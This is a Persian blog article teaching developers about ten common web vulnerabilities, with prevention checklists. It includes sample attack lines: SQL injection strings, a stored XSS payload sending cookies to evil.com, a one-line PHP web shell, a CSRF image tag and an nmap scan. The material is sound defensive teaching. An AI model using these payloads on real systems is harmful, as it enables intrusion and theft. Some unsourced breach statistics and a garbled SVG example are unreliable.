امنیت در توسعه وب 10 ضعف امنیتی که باید جدی بگیرید

مقدمه :

امنیت وب‌اپلیکیشن‌ها امروزه دیگر یک موضوع انتخابی نیست.
در دنیایی که:

  • داده‌های مشتریان ارزشمندترین دارایی است

  • قوانین حفاظت داده سخت‌گیرانه‌تر شده

  • حملات سایبری پیشرفته و خودکار شده‌اند

  • و حتی یک اشتباه کوچک می‌تواند به ازکارافتادن کامل سیستم منجر شود

هر توسعه‌دهنده‌ای باید امنیت را بخشی از توسعه بداند، نه یک مرحله بعد از آن.

طبق گزارش OWASP و IBM Security، بیش از ۷۰٪ حملات موفق سایبری ناشی از ۱۰ ضعف پایه‌ای است که اگر توسعه‌دهنده آنها را رعایت کند، تقریباً ۹۰٪ حملات بی‌اثر می‌شود.

در این نسخه فوق‌جامع، ما هر ضعف امنیتی را به‌صورت عمیق، با مثال، کد واقعی، سناریو حمله، و روش‌های پیشگیری بررسی می‌کنیم.

امنیت


۱. حملات SQL Injection — وقتی ورودی کاربر تبدیل به کوئری دیتابیس می‌شود

SQL Injection شاید قدیمی‌ترین حمله معروف باشد، اما هنوز هم از موفق‌ترین، مخرب‌ترین و رایج‌ترین حملات است.
در سال ۲۰۲۳، بیش از ۳۷٪ نفوذهای ثبت‌شده از طریق SQLi انجام شده‌اند.

این حمله وقتی رخ می‌دهد که برنامه، ورودی کاربر را مستقیم در کوئری SQL قرار دهد.


۱.۱ مکانیزم دقیق حمله چگونه است؟

فرض کنیم یک ورودی login داریم:

$username = $_POST['user'];
$password = $_POST['pass'];
$query = “SELECT * FROM users WHERE username=’$username‘ AND password=’$password‘”;
$result = mysqli_query($conn, $query);

این کد یک فاجعه امنیتی است.

اگر مهاجم بنویسد:

' OR '1'='1

کوئری تبدیل می‌شود به:

SELECT * FROM users WHERE username='' OR '1'='1' AND password='';

شرط '1'='1' همیشه true است.
یعنی مهاجم بدون نیاز به رمز عبور وارد هر حسابی می‌شود.


۱.۲ سناریوی حمله واقعی

در بسیاری از سایت‌های ایرانی یکی از این موارد دیده می‌شود:

  • فرم جستجو

  • فرم لاگین

  • فرم ثبت‌نام

  • فرم فیلتر

  • ورودی API

مثال واقعی از حمله:

مهاجم در فیلد “جستجو” می‌نویسد:

'; DROP TABLE users; --

اگر ورودی sanitize نشده باشد، دیتابیس کاربر حذف می‌شود.

حتی ساده‌تر:
با تزریق شرط OR می‌توان داده‌های کل جدول را استخراج کرد.


۱.۳ چگونه جلوی SQL Injection را بگیریم؟ (روش کامل)

✔ ۱. استفاده از Prepared Statements

در PHP (PDO):

$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

در Node.js (Sequelize):

User.findOne({ where: { username, password } })

این روش ورودی کاربر را داده می‌بیند نه دستور.


✔ ۲. هرگز ورودی‌ها را مستقیم در کوئری قرار ندهید

این اشتباه حتی با ORM هم رخ می‌دهد:

sequelize.query("SELECT * FROM users WHERE id=" + req.query.id)

بدترین نوع Query Raw.


✔ ۳. محدودیت دسترسی دیتابیس

حتی اگر مهاجم تزریق کرد، نباید بتواند:

  • جدول حذف کند

  • ALTER انجام دهد

  • CREATE انجام دهد

به این اصل می‌گویند:

Least Privilege Principle

(کمترین دسترسی ممکن)


✔ ۴. Validation و Sanitization

همیشه ورودی را:

  • نوع داده بررسی کنید

  • طول بررسی کنید

  • regex قرار دهید

  • کاراکترهای خطرناک را پاک کنید


✔ ۵. نظارت روی Queryهای مشکوک

برای کشف حمله می‌توانید روی کوئری‌های غیرمعمول alert بگذارید.


۲. XSS — تزریق کدهای مخرب جاوااسکریپت در مرورگر کاربران

XSS دومین ضعف مرگبار امنیتی است.
در این حمله، مهاجم کد جاوااسکریپت خود را به سایت تزریق می‌کند و این کد در مرورگر قربانی اجرا می‌شود.

این یعنی کنترل کامل روی:

  • session

  • کوکی‌ها

  • DOM

  • درخواست‌ها

  • اطلاعات حساس

بسته به نوع XSS، مهاجم می‌تواند:

  • session کاربر را بدزدد

  • درخواست جعلی ارسال کند

  • صفحه جعلی نمایش دهد

  • محتوا را تغییر دهد

  • کاربران را ریدایرکت کند


۲.۱ انواع XSS

✔ ۱) Stored XSS

کد مخرب در دیتابیس ذخیره می‌شود.

مثال:
بخش نظرات سایت.

<script>fetch('https://evil.com?cookie=' + document.cookie)</script>

زمانی که هر کاربر صفحه را باز کند، کد اجرا می‌شود.


✔ ۲) Reflected XSS

کد از طریق URL بازتاب می‌شود:

https://site.com/search?q=<script>attack</script>

اگر سایت مستقیماً q را نمایش دهد → XSS رخ می‌دهد.


✔ ۳) DOM-based XSS

مهم‌ترین نوع در SPAها (React, Vue, Angular).

مثال:

document.body.innerHTML = location.hash.substring(1);

اگر مهاجم بنویسد:

#<img src=x onerror=alert(1)>

کد در DOM اجرا می‌شود.


۲.2 سناریوی واقعی از یک سایت ایرانی

در یک فروشگاه معروف ایرانی:

  • مهاجم در قسمت “نام کاربری” هنگام ثبت‌نام، اسکریپت تزریق کرد

  • نام کاربری ذخیره شد

  • در بخش «لیست مشتریان» مدیر سایت، اسکریپت اجرا شد

  • session مدیر دزدیده شد

  • مهاجم وارد پنل ادمین شد

  • و محصولات را با قیمت ۱ تومان قرار داد

این یعنی XSS فقط برای کاربران نیست؛
گاهی پنل مدیریت را هدف می‌گیرد.


۲.۳ روش‌های جلوگیری (چک‌لیست کامل)

✔ ۱. Escape کردن خروجی (Output Encoding)

اطلاعاتی که نمایش داده می‌شود باید Encode شود:

مثلاً:

<script>&lt;script&gt;


✔ ۲. استفاده از Content Security Policy (CSP)

این یک لایه امنیتی بسیار مهم است:

Content-Security-Policy: default-src 'self';

با CSP می‌توانید:

  • اجرای اسکریپت خارجی را ممنوع کنید

  • inline script را بلاک کنید

  • منابع را محدود کنید

XSS با CSP تقریباً غیرممکن می‌شود.


✔ ۳. Validation ورودی

هیچ ورودی نباید HTML خام باشد مگر در شرایط خاص.


✔ ۴. ممنوعیت innerHTML

در React/Vue به‌ویژه:

dangerouslySetInnerHTML

یا در JS:

element.innerHTML = userInput;

این‌ها قاتل امنیت هستند.


✔ ۵. استفاده از DOMPurify

برای sanitize ورودی HTML در وب:

DOMPurify.sanitize(input)

✔ ۶. جلوگیری از اجرای اسکریپت در فایل آپلودی

مثلاً اگر مهاجم فایل SVG مخرب آپلود کند و سایت آن را مستقیم نمایش دهد
→ کد JS اجرا می‌شود.

امنیت


۳. CSRF — جعل درخواست از سمت کاربر (Cross-Site Request Forgery)

CSRF یکی از خطرناک‌ترین حملات وب است، چون بدون اینکه کاربر متوجه شود، از session او سوءاستفاده می‌شود.

وقتی کاربر:

  • وارد حساب کاربری می‌شود

  • session او در مرورگر فعال است

  • و بدون خروج از سایت، وارد یک سایت دیگر یا لینک ناشناخته می‌شود

مهاجم می‌تواند با یک درخواست مخرب، به جای او عملیاتی انجام دهد.


۳.۱ مکانیزم دقیق CSRF چگونه کار می‌کند؟

سناریو ساده:

  1. شما وارد حساب بانکی/سایت/پنل شدید.

  2. session فعال است.

  3. مهاجم یک لینک مخرب برای شما می‌فرستد.

  4. شما روی لینک کلیک می‌کنید.

  5. درخواست زیر از طرف شما به سایت اصلی ارسال می‌شود:

GET https://site.com/transfer?to=attacker&amount=5000000

چرا؟
چون مرورگر به صورت خودکار کوکی session شما را همراه درخواست می‌فرستد.

برای سایت هیچ راهی نیست که بفهمد این درخواست از سمت خود کاربر بوده یا نه.


۳.۲ مثال واقعی از CSRF در یک سایت ایرانی

در سال ۱۳۹۹، یک سایت فروشگاهی معروف ایران، API زیر را بدون امنیت منتشر کرده بود:

POST /change-email
Body: { "email": "new@example.com" }

هیچ توکنی وجود نداشت.
مهاجم کافی بود لینک زیر را در قالب یک تصویر جعلی ارسال کند:

<img src="https://site.com/change-email?email=attacker@evil.com">

کاربر تنها با باز کردن صفحه، ایمیلش تغییر می‌کرد.
و مهاجم کنترل کامل حساب او را می‌گرفت.


۳.۳ روش‌های جلوگیری از CSRF (چک‌لیست کامل)

✔ ۱. استفاده از CSRF Token

روشی استاندارد و بسیار امن.

توکن باید:

  • تصادفی باشد

  • برای هر درخواست متفاوت باشد

  • در فرم‌های POST قرار بگیرد

  • در سمت سرور با session مطابقت داده شود

مثال در Node/Express:

<input type="hidden" name="_csrf" value="{{csrfToken}}">

✔ ۲. استفاده از SameSite Cookie

در تنظیمات کوکی:

Set-Cookie: session=abcd; SameSite=Strict;

این کار باعث می‌شود کوکی از سایت دیگر ارسال نشود.


✔ ۳. محدودکردن اقدامات حساس به روش POST یا بهتر: PUT / DELETE

نباید عملیات مهم با GET انجام شود.


✔ ۴. بررسی Headerهای Origin و Referer

اگر درخواست از دامنه دیگری باشد → بلاک.


✔ ۵. اجبار احراز هویت مجدد برای عملیات حساس

مثل:

  • تغییر ایمیل

  • تغییر پسورد

  • حذف حساب


۳.۴ چرا CSRF همچنان خطرناک است؟

  • تشخیص آن سخت است

  • کاربر هیچ علامتی نمی‌بیند

  • session خودکار ارسال می‌شود

  • حمله بدون نیاز به مهارت خاص اجرا می‌شود

  • بسیاری از توسعه‌دهندگان آن را جدی نمی‌گیرند

به همین دلیل هنوز هم در OWASP Top 10 قرار دارد.


۴. عدم اعتبارسنجی ورودی‌ها (Input Validation Failure)

یکی از ساده‌ترین اما مخرب‌ترین ضعف‌های امنیتی.

اگر ورودی‌ها را کنترل نکنید، مهاجم می‌تواند:

  • XSS تزریق کند

  • SQLi وارد کند

  • فایل‌های مخرب آپلود کند

  • API را تخریب کند

  • سیستم را crash کند

  • سرور را overload کند

Input Validation یک دیوار دفاعی است که تقریباً تمام حملات را ضعیف می‌کند.


۴.۱ ورودی‌هایی که باید اعتبارسنجی شوند

هر چیزی که از کاربر دریافت شود:

  • فرم‌های ثبت‌نام

  • فرم login

  • فرم تماس

  • فیلد جستجو

  • فیلدهای فیلتر

  • API request body

  • Query params

  • فایل‌های آپلود

  • اطلاعات تبادل‌شده در Socket

بله، همه چیز.

«فقط یک جستجو ساده است؟»
نه، همین «جستجو ساده» می‌تواند محل ورود XSS یا SQL Injection باشد.


۴.۲ روش استاندارد اعتبارسنجی

✔ ۱. Check — چه داده‌ای باید باشد؟

مثلاً:

  • نام → حروف الفبا

  • ایمیل → regex معتبر

  • شماره تلفن → ۱۱ رقم

  • قیمت → عدد

  • نقش کاربر → enum محدود


✔ ۲. Trim — حذف کاراکترهای اضافی

مانند:

  • فاصله‌های ناخواسته

  • کاراکترهای مخفی Unicode

  • NBSP

  • کاراکترهای Zero Width

این کار مانع دور زدن Validator می‌شود.


✔ ۳. Type Validation

کاربر نباید بتواند:

  • رشته به جای عدد

  • آرایه به جای رشته

  • object به جای مقدار ساده

بفرستد.

در Node.js (express-validator):

check('age').isInt({ min: 1, max: 120 })

✔ ۴. Length Validation

هیچ فیلدی نباید بدون محدودیت طول باشد.
مهاجم می‌تواند با ارسال مقدار ۵۰۰ هزار کاراکتری، سرور را crash کند.


✔ ۵. Sanitization

خروجی‌های خطرناک باید پاک شوند:

  • <script> حذف شود

  • HTML غیراستاندارد حذف شود

  • کاراکترهای escape نشده encode شوند


✔ ۶. Enum Validation

برخی فیلدها باید فقط از یک لیست مشخص انتخاب شوند.

مثلاً:

role = 'admin' | 'user' | 'moderator'

اگر آزاد باشد، مهاجم:

role=admin

ارسال می‌کند و وارد پنل مدیریت می‌شود.


۴.۳ مثال از یک حمله بدون Input Validation

در یک سیستم سفارش‌گیری:

quantity=1000000000

این باعث شد:

  • total price overflow شود

  • پرداخت مشکل پیدا کند

  • فاکتور با رقم منفی صادر شود

مهاجم توانست محصول را «رایگان» بخرد.


۴.۴ اعتبارسنجی مقابل Sanitization — تفاوت مهم

  • Validation = بررسی درستی داده

  • Sanitization = پاکسازی داده خطرناک

باید هر دو انجام شود.

امنیت


۵. ضعف در مدیریت Session و کوکی — قلب امنیت کاربر

Session مدیریت هویت کاربر است.
اگر این بخش ناامن باشد، هکر می‌تواند:

  • session کاربر را بدزدد

  • وارد حساب او شود

  • رمز را تغییر دهد

  • تراکنش انجام دهد

  • داده‌ها را سرقت کند

Session Hijacking یکی از مرگبارترین حملات وب است.


۵.۱ خطرات رایج در مدیریت Session

❌ ۱. کوکی بدون HttpOnly

هکر با XSS می‌تواند کوکی را بخواند:

document.cookie

❌ ۲. کوکی بدون Secure

در HTTP ناامن، مهاجم کوکی را شنود می‌کند.

❌ ۳. کوکی بدون SameSite

برای CSRF ایده‌آل است.

❌ ۴. Session Fixation

وقتی Session ID بعد از login تغییر نکند.

❌ ۵. Session Timeout طولانی

session نباید همیشه فعال باشد.


۵.۲ تنظیمات امن برای Session Cookie

چک‌لیست کامل:

HttpOnly = true (جلوگیری از XSS)
Secure = true (فقط HTTPS)
SameSite = Strict (جلوگیری از CSRF)
Max-Age = کم و منطقی
Path = کمینه‌سازی مسیر دسترسی

۵.۳ تولید Session جدید بعد از Login (High Priority)

یکی از مهم‌ترین اقدامات امنیتی:
وقتی کاربر login می‌کند باید یک session جدید صادر شود.

چرا؟
چون مهاجم ممکن است session قبلی را حدس زده باشد یا در یک سناریو Fixation آن را به کاربر داده باشد.


۵.۴ Session Storage امن

در Node.js (express-session):

  • Redis امن‌تر از Memory Store است

  • حافظه محلی اصلاً مناسب production نیست

  • session باید رمزگذاری شود


۵.۵ جلوگیری از Session Hijacking

✔ ۱. اعمال IP Binding

ترکیب session + IP = بسیار سخت برای دزدیدن.

✔ ۲. بررسی User-Agent

اگر UA تغییر کرد → session invalid شود.

✔ ۳. لاگ‌گیری کامل

ورودهای مشکوک را باید تشخیص دهید.


۶. آپلود فایل بدون کنترل — دروازه طلایی نفوذ هکرها

آپلود فایل اگر درست مدیریت نشود، خطرناک‌ترین بخش هر وب‌سایت است.
بیش از ۴۰٪ نفوذهای امنیتی در سایت‌های ایرانی از همین بخش شروع می‌شود.

هنگامی که کاربر اجازه دارد فایل آپلود کند، عملاً به او اجازه می‌دهید:

  • داده وارد سرور کند

  • فایل روی دیسک ذخیره کند

  • مسیرهای خاص را اشغال کند

  • سرور را با فایل ناسازگار درگیر کند

اگر این ورودی کنترل نشود، مهاجم می‌تواند:

  • فایل اجرایی آپلود کند

  • اسکریپت PHP یا Node قرار دهد

  • Shell اجرا کند

  • فایل‌های مهم سرور را بخواند

  • و حتی Root Access بگیرد


۶.۱ مکانیزم حمله چگونه است؟

سناریوی رایج

فرض کنید سایت اجازه آپلود عکس پروفایل می‌دهد:
تصویر با فرمت jpg باید آپلود شود.

اما مهاجم فایلی با محتوای PHP ایجاد می‌کند:

<?php system($_GET['cmd']); ?>

و نامش را می‌گذارد:

exploit.jpg.php

اگر سایت تنها «پسوند» را بررسی کند، مهاجم می‌تواند فایل php را اجرا کند.

حتی اگر پسوند را درست چک کنید، مهاجم از فرمت‌های زیر سوءاستفاده می‌کند:

  • svg

  • xlsx

  • pdf

  • webp

زیرا برخی از این‌ها قابلیت اجرای جاوااسکریپت یا XML Injection را دارند.


۶.۲ حمله با SVG (یکی از خطرناک‌ترین فرمت‌ها)

SVG در واقع یک فایل XML است، نه تصویر.

کد مخرب قابل جاسازی:


" />

اگر فایل SVG مستقیماً رندر شود، کد جاوااسکریپت اجرا می‌شود.
این یعنی XSS از طریق آپلود فایل.


۶.۳ روش‌های جلوگیری از نفوذ از طریق فایل‌ها

✔ ۱. بررسی MIME Type واقعی

نه فقط پسوند.

مثال Node.js:

if (file.mimetype !== 'image/jpeg') reject();

✔ ۲. اسکن فایل با آنتی‌ویروس مخصوص وب

ابزارهای حرفه‌ای:

  • ClamAV

  • VirusTotal API

  • MalDet


✔ ۳. ذخیره فایل‌ها خارج از root وب‌سرور

فایل آپلودی نباید قابل اجرا باشد.

/uploads/image123.jpg خطرناک
/var/storage/uploads/... امن

✔ ۴. rename فایل‌ها

فایل نباید نام اصلی را نگه دارد.

استفاده از UUID:

c4be83c3-54a2-4d09-8f0c.png

✔ ۵. محدودکردن اندازه فایل

فایل بزرگ می‌تواند سرور را crash کند.


✔ ۶. استفاده از کتابخانه‌های پردازش‌گر امن

برای پردازش تصاویر:

  • Sharp

  • ImageMagick به‌صورت sandbox شده


✔ ۷. جلوگیری از فایل‌های چند پسوندی

مانند:

image.png.php
file.jpg.html

حتماً کامل بررسی کنید.

امنیت


۷. پیکربندی اشتباه سرور (Security Misconfiguration) — دشمن خاموش امنیت

این ضعف یکی از چندریخت‌ترین و خطرناک‌ترین ضعف‌های امنیتی است.
و در پروژه‌های واقعی بیشتر از آنچه تصور کنید دیده می‌شود.

از وب‌سرور گرفته تا دیتابیس، CDN، Reverse Proxy و حتی Firewall—
کوچک‌ترین اشتباه در پیکربندی هر کدام می‌تواند سیستم را در برابر حملات باز بگذارد.


۷.۱ اشتباهات رایج امنیتی در سرورهای ایرانی

❌ ۱. فعال بودن Directory Listing

اگر این قابلیت فعال باشد:

https://site.com/uploads/

همه فایل‌ها قابل مشاهده‌اند.


❌ ۲. نمایش خطاهای PHP یا Node

وقتی خطا نمایش داده می‌شود، اطلاعات مهم لو می‌رود:

  • مسیر فایل‌ها

  • نسخه PHP/Node

  • ساختار پروژه

  • نام کلاس‌ها و فانکشن‌ها

این اطلاعات طلای ناب برای مهاجم هستند.


❌ ۳. باز بودن پورت‌های غیرضروری

هکرها همیشه با اسکن پورت شروع می‌کنند:

nmap -sV site.com

اگر پورت‌های اضافی باز باشند، مهاجم می‌تواند حمله کند:

  • SSH

  • FTP

  • SMTP

  • Redis

  • MongoDB

این‌ها نباید عمومی باشند.


❌ ۴. فعال بودن ماژول‌های غیرضروری

مثلاً در Apache:

  • mod_autoindex

  • mod_userdir

  • mod_info

بسیار خطرناک هستند.


❌ ۵. عدم محدودیت روی درخواست‌ها

بدون Rate Limit، مهاجم می‌تواند:

  • Brute Force

  • DDOS لایت

  • API Abuse

انجام دهد.


۷.۲ حملات واقعی ناشی از Misconfiguration

سناریو ۱: خروج اطلاعات با HEAD request

بسیاری از سرورها اطلاعات نسخه را لو می‌دهند:

Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.2

مهاجم با این اطلاعات:

  • آسیب‌پذیری نسخه

  • Exploitهای مربوطه

  • Zero-dayهای آن ورژن

را پیدا می‌کند.


سناریو ۲: Docker ناامن

یکی از بزرگ‌ترین فجایع امنیتی زمانی است که Docker daemon بدون TLS باز باشد.

tcp://0.0.0.0:2375

هکر می‌تواند:

  • container بسازد

  • فایل بخواند

  • حتی host را کنترل کند


۷.۳ چک‌لیست کامل جلوگیری از Misconfiguration

✔ غیرفعال‌کردن Directory Listing

Apache:

Options -Indexes

Nginx:

autoindex off;

✔ غیرفعال کردن نمایش خطا

PHP:

display_errors = Off

Node:
استفاده از Error Handler اختصاصی و جلوگیری از چاپ stack.


✔ فعال کردن Firewall

UFW، iptables یا Cloudflare.


✔ محدودکردن پورت‌ها

فقط:

  • 80

  • 443

  • پورت API مورد نیاز

باز باشند.


✔ اسکن امنیتی منظم

با ابزارهایی مانند:

  • Nessus

  • OpenVAS

  • Nmap


✔ استفاده از Reverse Proxy

مانند Nginx/Traefik برای محافظت.


۸. رمزنگاری ضعیف (Weak Cryptography) — رمزگذاری اشتباه بدتر از بدون رمزگذاری

بسیاری از توسعه‌دهندگان فکر می‌کنند:

“اگر رمز عبور را رمزگذاری کنم، کافی است.”

اما رمزگذاری اشتباه بدتر از رمزگذاری نکردن است.

چرا؟
چون:

  • با چند خط کد قابل شکستن است

  • با rainbow table قابل استخراج است

  • با GPU طی چند ثانیه کرک می‌شود

ضعف رمزنگاری یعنی مهاجم با دسترسی کوچک می‌تواند:

  • رمز همه کاربران

  • تراکنش‌ها

  • توکن‌ها

  • داده‌های محرمانه

را استخراج کند.


۸.۱ اشتباهات رایج در رمزنگاری

❌ ۱. استفاده از MD5

MD5 کاملاً مرده است.
هش آن طی ۰.۳ ثانیه توسط GPU شکسته می‌شود.

❌ ۲. استفاده از SHA1

کاملاً ناامن.

❌ ۳. ذخیره رمز بدون salt

یعنی دو نفر با رمز یکسان → هش یکسان.

❌ ۴. استفاده از رمزگذاری Base64

Base64 اصلاً رمزنگاری نیست!
فقط encoding است.

❌ ۵. عدم استفاده از HTTPS

ارسال رمز و داده‌ها در plaintext = فاجعه.


۸.۲ ابزارهای استاندارد رمزنگاری

بهترین الگوریتم‌های hash برای رمز عبور:

  • bcrypt

  • argon2

  • scrypt

این‌ها:

  • زمان‌بر هستند

  • GPU-resistant هستند

  • salt خودکار دارند

مثال bcrypt در Node.js:

const hash = await bcrypt.hash(password, 12);

۸.۳ اهمیت رمزنگاری در انتقال داده

حتماً باید:

  • HTTPS

  • HSTS

  • TLS 1.2 یا 1.3

  • عدم استفاده از SSL یا TLSهای قدیمی

فعال باشد.


۸.۴ جلوگیری از XXE و XML Encryption Attacks

اگر سرویس XML دارید:

  • External Entity را غیرفعال کنید

  • DTDها را ببندید

  • از parser امن استفاده کنید

XXE می‌تواند فایل‌های سرور را بخواند:

/etc/passwd
امنیت

۹. APIهای ناامن — دروازه‌ای که بیشتر توسعه‌دهندگان تصور نمی‌کنند خطرناک باشد

امروزه اکثر سایت‌ها مبتنی بر API هستند:

  • اپلیکیشن موبایل

  • وب‌اپ SPA (React/Vue/Next/Nuxt)

  • سرویس‌های داخلی

  • وب‌هوک‌ها

  • سیستم‌های پرداخت

API قلب ارتباط همه چیز است.

و یک API ناامن یعنی کل سیستم ناامن.


۹.۱ مشکلات رایج امنیت API

❌ ۱. endpointهای بدون احراز هویت

این رایج‌ترین اشتباه است.

مثلاً:

GET /users/list

بدون JWT یا توکن معتبر.
مهاجم با یک curl ساده می‌تواند:

  • اطلاعات کاربران

  • سفارشات

  • دیتای حساس

را دریافت کند.


❌ ۲. Rate Limiting صفر

اگر محدودیت وجود نداشته باشد، مهاجم می‌تواند:

  • رمزهای عبور را brute force کند

  • میلیون‌ها درخواست ارسال کند

  • سرور را از کار بیندازد


❌ ۳. ارسال داده حساس بدون رمزنگاری

مثلاً اطلاعات کاربر یا توکن‌ها با HTTP ارسال شوند.


❌ ۴. Over-Privileged API

یعنی endpoint دسترسی بیش از حد دارد.

مثال:

PATCH /user/123
Body: { "role": "admin" }

اگر نقش کنترل نشود، مهاجم خودش را “admin” می‌کند.


❌ ۵. نبود validate روی JSON

این مورد بسیار خطرناک است.

مثلاً اگر بدنه درخواست این باشد:

{
"price": "infinity",
"discount": -5000,
"roles": ["admin"],
"status": "approved",
"id": "999999"
}

و اعتبارسنجی وجود نداشته باشد، API نابود می‌شود.


❌ ۶. افشای کلیدهای API

بسیاری از توسعه‌دهندگان:

  • کلید Stripe

  • کلید Firebase

  • کلید Map

  • کلید AWS

  • کلید ReCaptcha

را در front-end قرار می‌دهند.

این فاجعه است.


۹.۲ سناریو واقعی هک API

یک فروشگاه ایرانی API زیر را داشت:

POST /coupon/use
Body: { "coupon": "DISCOUNT50" }

مهاجم به‌راحتی:

"coupon": "DISCOUNT10000000"

ارسال می‌کرد.
چون API نه validate داشت، نه محدودیت.

مهاجم توانست:

  • تمام قیمت‌ها را صفر کند

  • سفارش ثبت کند

  • کالا تحویل بگیرد

بدون هیچ هزینه‌ای.


۹.۳ روش‌های جلوگیری (چک‌لیست کامل API Security)

✔ ۱. استفاده از JWT معتبر

هر درخواست باید توکن معتبر داشته باشد.

✔ ۲. محدودیت درخواست (Rate Limit)

مثلاً:

  • ۱۰۰ درخواست در دقیقه

  • ۱۰ درخواست برای عملیات حساس

با ابزارهایی مانند:

  • Nginx Rate Limit

  • Express-Rate-Limit

  • Cloudflare


✔ ۳. validate کردن بدنه درخواست

با کتابخانه‌های:

  • Joi

  • Zod

  • Yup

  • class-validator


✔ ۴. حذف داده‌های اضافه (Data Minimization)

API باید فقط فیلدهای ضروری را بپذیرد.


✔ ۵. جلوگیری از تغییر نقش کاربران

هرگز نباید نقش از طریق API تغییر کند مگر با قوانین سختگیرانه.


✔ ۶. عدم نمایش پیام‌های خطای دقیق

به‌جای:

SQL Error: table users not found in /var/www/api...

باید:

Request failed.

نمایش داده شود.


✔ ۷. استفاده از HTTPS فقط

رمزنگاری همه‌چیز.


✔ ۸. پنهان‌سازی کلیدها

ENV همیشه در سرور.
نه در front-end.


۱۰. نبود لاگ‌گیری و مانیتورینگ — بزرگ‌ترین ضعف امنیتی که تقریباً نادیده گرفته می‌شود

این ضعف، دلیل اصلی تبدیل یک «نفوذ کوچک» به «فاجعه بزرگ» است.

بسیاری از سایت‌ها:

  • لاگ کافی ندارند

  • هشدار ندارند

  • سیستم نظارت ندارند

  • حملات کوچک را نمی‌بینند

هکرها هم دقیقاً از همین ضعف استفاده می‌کنند.


۱۰.۱ نبود لاگ یعنی چه؟

یعنی:

  • ورودهای ناموفق ثبت نمی‌شود

  • تغییر رمز ثبت نمی‌شود

  • تغییر ایمیل ثبت نمی‌شود

  • درخواست‌های مشکوک ثبت نمی‌شود

  • رفتارهای غیرعادی دیده نمی‌شود

هکر ممکن است ۳۰ روز داخل سیستم باشد و کسی نفهمد.


۱۰.۲ چرا لاگ و مانیتورینگ مهم است؟

✔ تشخیص حمله قبل از اینکه آسیب بزرگ شود

مثلاً:

اگر در یک دقیقه ۱۰۰۰ بار تلاش login انجام شود → حمله Brute Force.


✔ تشخیص رفتارهای غیرعادی کاربران

مثلاً:

  • تغییر چندباره شماره تماس

  • ورود از IPهای مشکوک

  • تلاش برای دیدن چیزهایی که به او مربوط نیست


✔ تشخیص فعالیت مهاجم در سیستم

هر حمله واقعی نشانه دارد.
اگر لاگ نباشد، هیچ‌چیز دیده نمی‌شود.


۱۰.۳ چک‌لیست کامل Logging & Monitoring

✔ ۱. ثبت لاگ ورودها

✔ موفق
✔ ناموفق
✔ IP کاربر
✔ زمان دقیق
✔ User-Agent


✔ ۲. ثبت تغییرات مهم

  • تغییر ایمیل

  • تغییر رمز

  • تغییر نقش

  • ثبت سفارش

  • حذف حساب

  • اپلود فایل


✔ ۳. ثبت درخواست‌های مشکوک

مثل:

  • تلاش برای دسترسی به /admin

  • ورود با sessionهای متعدد

  • درخواست‌های سریع پشت‌سر‌هم


✔ ۴. تنظیم هشدار

با ابزارهایی مثل:

  • Grafana

  • Prometheus

  • ELK stack

  • Datadog

  • Cloudflare Firewall


✔ ۵. نگهداری لاگ‌ها حداقل ۹۰ روز

زیرا معمولاً حمله بعد از هفته‌ها کشف می‌شود.


۱۰.۴ مثال واقعی از یک سایت بدون لاگ

یک سایت پرداخت ایرانی هک شد چون:

  • تغییر IPهای ورود ثبت نمی‌شد

  • تلاش‌های ورود ناموفق فقط روی front-end نمایش داده می‌شد

  • هیچ مانیتورینگی نبود

مهاجم طی ۱۲ روز داخل سیستم بود
و هیچ‌کس نفهمید.


جمع‌بندی نهایی — امنیت وب یک «ویژگی اضافه» نیست، یک «پایه حیاتی» است

در این مقاله فوق‌جامع، ده ضعف امنیتی اصلی را با تمام جزئیات یاد گرفتیم:

  1. SQL Injection

  2. XSS

  3. CSRF

  4. Input Validation Failure

  5. Session Management Weakness

  6. Unsafe File Upload

  7. Security Misconfiguration

  8. Weak Cryptography

  9. Insecure APIs

  10. Lack of Logging & Monitoring

اگر همین ۱۰ مورد را در هر پروژه‌ای رعایت کنید:

  • احتمال حمله ۹۰٪ کاهش می‌یابد

  • سرور مقاوم‌تر می‌شود

  • داده‌های کاربران امن می‌ماند

  • اعتماد برند افزایش می‌یابد

  • سیستم پایدارتر می‌شود

امنیت یک پروژه = امنیت کسب‌وکار = امنیت اعتبار شما.

امنیت

اشتراک گذاری

جدول محتویات مقاله

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *